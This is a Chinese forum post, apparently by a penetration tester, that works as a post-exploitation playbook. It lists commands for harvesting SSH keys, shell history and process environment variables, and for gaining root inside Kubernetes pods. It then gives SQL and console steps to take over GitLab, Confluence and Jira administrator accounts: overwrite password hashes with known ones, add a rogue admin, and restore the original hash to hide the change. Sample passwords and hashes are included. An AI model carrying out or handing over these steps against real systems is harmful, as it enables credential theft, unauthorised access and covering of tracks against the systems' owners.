一些渗透后利用小结

打印 上一主题 下一主题

主题 523|帖子 523|积分 1569

内网主机信息收集

在项目中有遇到拿到shell的情况下,看到主机名是gitlab或者是什么gitserver,通常都有k8s或者docker服务,先判断是本机启动的服务还是容器里面启动的服务,然后再到对应的地方找配置文件和数据库之类的,然后可以到应用内去找有价值的东西
可以看~/.ssh/底下的文件,有没有id_rsa,或者是看known_hosts曾经连接过一些什么机器,再看看/etc/hosts有没有给其他机器添加了解析,还有各种历史记录和配置文件也值得留意
  1. ~/.ssh/
  2. ~/.bash_history
  3. /etc/hosts
  4. ss -tl[n]        #加-n参数不显示服务名,纯端口号
  5. netstat -anp
  6. ps -auxf / ps -ef                 看进程启动命令
  7. cat /proc/pid/environ         进程启动环境变量
  8. cat /proc/pid/cmdline         进程启动命令
  9. ls -al /proc/pid/exe        进程可执行文件符号连接
  10. ls -al /proc/pid/fd                进程打开的文件(file descriptor)
复制代码
K8S

当你在master节点,k8s也可以像docker一样exec
  1. kubectl get pods   #查看所有正在运行的pod
  2. NAME                            READY     STATUS    RESTARTS   AGE
  3. nginx-56b8c64cb4-t97vb          1/1       Running   3          1d
  4. kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash        #假如当前pod只有一个容器,运行以下命令即可
  5. <3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。
  6. kubectl exec -it my-pod --container main-app -- /bin/bash
复制代码
但是很多时候exec进去都不是root账户,这个时候我们需要找到实际启动容器的机器去
  1. # 先找到pod的名称
  2. kubectl get pods                                                        # 获取容器
  3. kubectl get pods xxxx-xxx-001                                # 查看容器信息
  4. kubectl get pods [-n] xxxx-xxx-001 -o wide                # 定位节点机器,输入-n会报错
  5. # ssh到pod所在的节点
  6. ssh k8s-node2                                                                                        # ssh连接
  7. docker ps -a | grep xxxx-xxx-001                                                # 查看docker容器
  8. docker exec -it -u root [CONTAINER_ID] /bin/bash                # exec进入容器
复制代码
GitLab

代码仓库,看有没有重要系统的源码打包弄出来做代审
初始密码

Gitlab 14安装初始化后,默认账户名是root,密码存放在配置文件
/etc/gitlab/initial_root_password
这个文件将在首次执行reconfigure后24小时自动删除,文件内容:
  1. [root@gitlab ~]# cat /etc/gitlab/initial_root_password
  2. # WARNING: This value is valid only in the following conditions
  3. #          1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
  4. #          2. Password hasn't been changed manually, either via UI or via command line.
  5. #
  6. #          If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.
  7. Password: NdaWiHzufnlWDshXY+xI52q4Br0x2O+mAsTeU6V1694=
  8. # NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.
复制代码
修改管理员密码

默认数据库应用是PostgreSQL,数据库是gitlabhq_production,表是users,管理员默认的id是1,用户名是root
通常docker拉起的gitlab都会有gitlab-rails,gitlab-psql一系列的应用

不考虑改回密码的情况
  1. gitlab-rails console
  2. user = User.find(1)
  3. new_password = 'Aa12345678!'
  4. user.password = new_password
  5. user.password_confirmation = new_password
  6. user.save!
  7. user.attributes
  8. 得到Aa12345678!密文就是这个,后面能用到
  9. "encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"
复制代码


考虑改回密码的情况

设置新密码为Aa12345678!,记得先查询一次保存旧密码的密文
  1. gitlab-psql
  2. \l
  3. \c gitlabhq_production
  4. select id,encrypted_password,name,username,admin from users where id=1;
  5. -- 这一步是将密码更新为Aa12345678!
  6. update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;
  7. -- 这一步是恢复旧密码的密文
  8. update users set encrypted_password='$2a$************************************vyy' where id=1;
复制代码


Confluence

知识库系统,可以看有没有信息泄漏之类的东西
https://www.jianshu.com/p/7cc8ea59578a
默认配置文件位置:Linux:
  1. /var/atlassian/application/data/confluence/confluence.cfg.xml
复制代码
Windows:
  1. C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml
复制代码
数据库操作
  1. mysql -uroot -pRadBank@530
  2. show databases;
  3. use confluence;
  4. select id,user_name,active,email_address,credential from cwd_user;
  5. -- 在数据库里面查看管理员用户
  6. select u.id, u.user_name, u.active from cwd_user u  
  7. join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id  
  8. where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';  
  9. -- 记得存一下原始密码
  10. -- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R+HwxWC9zG3OjOXJbapmEl0+bEz/MelyLJ
  11. -- 原始密码明文是123456
  12. -- 无{PKCS5S2}的,更改密码为sphere
  13. update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
  14. -- 有{PKCS5S2}的,更改密码为123456
  15. update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
  16. -- 密码是{PKCS5S2}前缀开头的,则用下面这个sql,这个管理员密码为 Ab123456
  17. update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
复制代码

用已知的密文进行替换
将管理员用户的密码修改为目前已知的明文密码的密文(不能直接在数据库中添加字段,否则在单个表中添加字段可能会出现问题)。
修改密码后,登陆后台,添加用户并将其加入管理员组。
最后,将管理员密码还原回去。
更改密码
登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码
参考文章:confluence后利用
Jira

项目与事务跟踪工具,经常和confluence一起出现
  1. mysql -uroot -pRadBank@530
  2. show databases;
  3. -- Jira数据库中,用户信息都存放在表 cwd_user中
  4. -- 切换到jiar数据库
  5. -- CREDENTIAL字段是加密后的密码
  6. use jiradb;
  7. -- 看看管理员用户信息,待会会用到
  8. select id,user_name,active,email_address,credential from cwd_user;
  9. -- 记得保存原始密码,信息收集完成之后改回
  10. -- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
  11. -- 这个密码的明文也是123456
  12. -- 无{PKCS5S2}的,更改密码为sphere
  13. update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
  14. -- 有{PKCS5S2}的,更改密码为123456
  15. update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
  16. -- 有{PKCS5S2}的,更改密码为Ab123456
  17. update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
  18. -- 最后记得复原密码
  19. update cwd_user set credential='初始密码' where user_name='XXXX';
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

伤心客

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表